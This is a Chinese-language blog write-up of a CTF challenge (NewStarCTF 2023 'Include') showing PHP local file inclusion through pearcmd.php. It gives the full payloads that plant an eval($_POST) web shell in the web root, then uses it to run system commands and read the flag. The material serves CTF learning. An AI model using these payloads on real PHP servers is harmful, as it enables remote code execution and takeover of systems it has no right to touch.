pearcmd.php文件包含

前置与payload

利用pearcmd.php文件包含的前提是register_argc_argv这个要打开

pearcmd.php文件的位置在 /usr/share/php/pearcmd.php/usr/local/lib/php/pearcmd

image-20250604140407295

两种文件位置的payload

1
?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_POST[1]);?>+/var/www/html/shell.php 
1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell.php
  • ?+config-create+/ 触发 pearcmd.php 中的配置创建功能
  • &file=/usr/local/lib/php/pearcmd 指定要包含的文件路径
  • &/ 终止参数解析的特殊符号,迫使脚本停止处理后续参数,确保前面的参数被正确解析

这就是将一句话木马<?=eval($_POST[1])?>写入了/var/www/html/shell.php

**注意:**要利用bp抓包进行传入,因为如果直接在浏览器中传参,php代码中的部分符号会被url编码之后再写入shell.php文件中,就不会被当成php代码

题目实操

题目来源:[NewStarCTF 2023 公开赛道]Include 🍐

题目网址: https://buuoj.cn/challenges#[NewStarCTF%202023%20%E5%85%AC%E5%BC%80%E8%B5%9B%E9%81%93]Include%20%F0%9F%8D%90

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

提示phpinfo.php中有东西,进行包含看看

1
?file=phpinfo

image-20250604134228261

1
fake{Check_register_argc_argv}

是个假的flag,不过也是个提示,检查register_argc_argv

image-20250604134326879

会发现register_argc_argv是开着的,也就是说可以对pearcmd.php文件进行包含利用

这里使用的在/usr/local/lib/php/pearcmd

payload

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell.php

**注意:**要利用bp抓包进行传入,因为如果直接在浏览器中传参,php代码中的部分符号会被url编码之后再写入shell.php文件中,就不会被当成php代码

image-20250604135514809

然后直接浏览器访问/shell.php进行RCE,POST传参1

1
1=system('ls /');

image-20250604135849939

1
1=system('cat /flag');

image-20250604135933743

也可以用蚁剑连

image-20250604135725046

image-20250604140848501


pearcmd.php文件包含
https://yschen20.github.io/2025/06/04/pearcmd-php文件包含/
作者
Suzen
发布于
2025年6月4日
更新于
2025年6月4日
许可协议